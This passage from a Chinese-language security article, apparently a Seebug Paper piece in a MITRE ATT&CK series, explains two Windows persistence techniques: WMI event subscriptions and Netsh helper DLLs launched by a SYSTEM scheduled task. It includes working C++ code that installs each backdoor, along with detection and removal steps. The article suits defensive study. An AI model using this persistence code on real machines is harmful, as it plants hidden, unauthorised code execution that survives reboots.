WMI允許通過腳本語言(VBScript 或 Windows PowerShell)來管理本地或遠程的Windows計算機或服務器,同樣的, 微軟還為WMI提供了一個稱之為Windows Management Instrumentation Command-line(WMIC)的命令行界面,我們還可以通過WMIC工具來管理系統中的WMI。

WMI查詢使用WMI查詢語言(WQL),它是SQL的一個子集,具有較小的語義更改以支持WMI。WQL支持三種類型的查詢,數據查詢、架構查詢及事件查詢。消費者使用事件查詢進行注冊,以接收事件通知,事件提供程序則使用事件查詢進行注冊以支持一個或多個事件。
要安裝永久WMI事件訂閱,需要執行以下三步:
-
注冊事件過濾器 – 也就是感興趣的事件,或者說觸發條件
-
注冊事件消費者 – 指定觸發事件時要執行的操作
-
綁定事件消費者和過濾器 – 將事件過濾器和事件消費者綁定,以在事件觸發時執行指定操作。
如下的圖是某樣本通過PowerShell注冊WMI永久事件過濾實現持久化的代碼:

如下的代碼演示了如何通過利用WMIC工具注冊WMI事件來實現后門持久化, 注冊的事件會在系統啟動時間120后收到通知,執行CMD命令調用Rundll32加載我們指定的DLL并執行其導出函數。
BOOL add_wmi_filter()
{
BOOL ret = FALSE;
int path_len = NULL;
TCHAR* command = NULL;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
command = new TCHAR[MAXBYTE * 7];
if (command == NULL)
{
goto ERROR_EXIT;
}
//添加一個 event filter
wsprintf(command, _TEXT("cmd \/c \"wmic \/NAMESPACE:\"\\\\root\\subscription\" PATH __EventFilter CREATE Name=\"TopsecEventFilter\", EventNameSpace=\"root\\cimv2\",QueryLanguage=\"WQL\", Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150\"\""));
if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))
{
goto ERROR_EXIT;
}
WaitForSingleObject(pi.hProcess, INFINITE);
TerminateProcess(pi.hProcess, 0);
//添加一個事件消費者
wsprintf(command, _TEXT("cmd \/c \"wmic \/NAMESPACE:\"\\\\root\\subscription\" PATH CommandLineEventConsumer CREATE Name=\"TopsecConsumer\", ExecutablePath=\"C:\\Windows\\System32\\cmd.exe\",CommandLineTemplate=\" \/c Rundll32 C:\\topsec.dll RunProc\"\""));
memset(&pi, 0, sizeof(pi));
if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))
{
goto ERROR_EXIT;
}
WaitForSingleObject(pi.hProcess, INFINITE);
TerminateProcess(pi.hProcess, 0);
//綁定事件及消費者
wsprintf(command, _TEXT("cmd \/c \"wmic \/NAMESPACE:\"\\\\root\\subscription\" PATH __FilterToConsumerBinding CREATE Filter=\"__EventFilter.Name=\\\"TopsecEventFilter\\\"\", Consumer=\"CommandLineEventConsumer.Name=\\\"TopsecConsumer\\\"\"\""));
memset(&pi, 0, sizeof(pi));
if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))
{
goto ERROR_EXIT;
}
WaitForSingleObject(pi.hProcess, INFINITE);
TerminateProcess(pi.hProcess, 0);
ret = TRUE;
ERROR_EXIT:
if (command != NULL)
{
delete[] command;
command = NULL;
}
return ret;
}
有關事件查詢的更多信息,可以查看微軟在線幫助,接收事件通知。
有關WMI查詢的更多信息,可以查看微軟在線幫助,使用WQL查詢。
關于WMI攻防的更多信息, 也可以參考FireEye發布的白皮書,《WINDOWS MANAGEMENT INSTRUMENTATION (WMI) OFFENSE, DEFENSE, AND FORENSICS》。
運行效果圖
運行該程序后,會在系統中安裝WMI事件,使用AutoRun工具查看WMI相關的數據

重啟電腦,等系統運行時長超過120秒后,觸發事件,我們設定的命令被執行

檢查及清除方法
1、 使用AutoRuns工具檢查WMI 訂閱,并刪除不明來源的事件訂閱,可通過與已知良好的常規主機進行對比的方式,來確認事件訂閱是否為不明來源。
Netsh Helper DLL
原理及代碼介紹
Netsh.exe(也稱為Netshell)是一個命令行腳本實用程序,用于與系統的網絡配置進行交互。它包含添加輔助DLL以擴展實用程序功能的功能, 使用“netsh add helper”即可注冊新的擴展DLL,注冊擴展DLL后,在啟動Netsh的時候便會加載我們指定的DLL。注冊的Netsh Helper DLL的路徑會保存到Windows注冊表中的HKLM\SOFTWARE\Microsoft\Netsh路徑下。

當使用另一種持久性技術自動執行netsh.exe時,攻擊者可以使用帶有Helper DLL的Netsh.exe以持久方式代理執行任意代碼。
計劃任務程序是Microsoft Windows的一個組件,它提供了在預定義時間或指定時間間隔之后安排程序或腳本啟動的功能, 也稱為作業調度或任務調度。系統中的schtasks.exe用于管理計劃任務,允許管理員創建、刪除、查詢、更改、運行和中止本地或遠程系統上的計劃任務。如從計劃表中添加和刪除任務,按需要啟動和停止任務,顯示和更改計劃任務。

如下的代碼演示了攻擊者如何通過在Netsh命令添加Helper DLL并通過調用schtasks程序來新建計劃任務,實現代碼持久化的目的。
BOOL add_to_netsh_helper(LPCTSTR dll_path)
{
BOOL ret = FALSE;
int path_len = NULL;
TCHAR* command = NULL;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(STARTUPINFO);
path_len = _tcslen(dll_path);
command = new TCHAR[(path_len * sizeof(TCHAR) + sizeof(TCHAR)) * 2];
//添加netsh helper
wsprintf(command, _TEXT("cmd \/c \"netsh add helper %s\""), dll_path);
if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))
{
goto ERROR_EXIT;
}
WaitForSingleObject(pi.hProcess, INFINITE);
memset(&pi, 0, sizeof(pi));
//添加netsh主程序到計劃任務
wsprintf(command, _TEXT("cmd \/c \"schtasks.exe \/create \/tn \"init\" \/ru SYSTEM \/sc ONSTART \/tr \"C:\\windows\\system32\\netsh.exe\"\""));
if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi))
{
goto ERROR_EXIT;
}
WaitForSingleObject(pi.hProcess, INFINITE);
ret = TRUE;
ERROR_EXIT:
if (command != NULL)
{
delete[] command;
command = NULL;
}
return ret;
}
其中Netsh Helper DLL需要導出一個函數供 Netsh調用,導出函數原型及關鍵代碼如下:
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString(_TEXT("Load DLL~~"));
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DWORD _stdcall NewThreadProc(LPVOID lpParam)
{
while (TRUE)
{
OutputDebugString(_TEXT("Netsh Helper, Hello Topsec"));
}
return 0;
}
extern "C" DWORD _stdcall InitHelperDll(DWORD dwNetshVersion, PVOID Reserved)
{
CreateThread(NULL, NULL, NewThreadProc, NULL, NULL, NULL);
MessageBox(NULL, _TEXT("Netsh Helper, Hello Topsec"), NULL, MB_OK);
return NO_ERROR;
}
運行效果圖
上面的代碼首先添加Netsh Helper DLL,然后添加計劃任務,在系統啟動的時候啟動Netsh。 計算機重啟后效果如圖:

運行后的注冊表鍵值情況如下圖所示:

檢查及清除方法
1、檢查注冊表路徑HKLM\SOFTWARE\Microsoft\Netsh,查看是否有不明來源的Helper DLL注冊信息并刪除。
總結
以上就是持久化攻擊的全部內容了,通過本文總結的這些攻擊手段可以看出,有的雖老生常談,卻不可忽視,有的設計很巧妙,令人受益匪淺。它們好像無孔不入,所有的攻擊都是為了更隱蔽,更持久的運行。當然,這肯定不是MITRE ATT&CK?上的所有內容,更不是攻擊者的所有手段,一定會有一些攻擊手段尚未被發現。想象著,當攻擊者不斷獲取著系統上的信息,而你卻不自知時,這是多么可怕!作為安全工作者,我們不應滿足于現狀,更應該擁有好奇心和創造力,去發現未知的安全隱患。
本文到此就結束了,接下來會根據MITRE ATT&CK出一系列類似的文章,敬請期待!
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1007/
暫無評論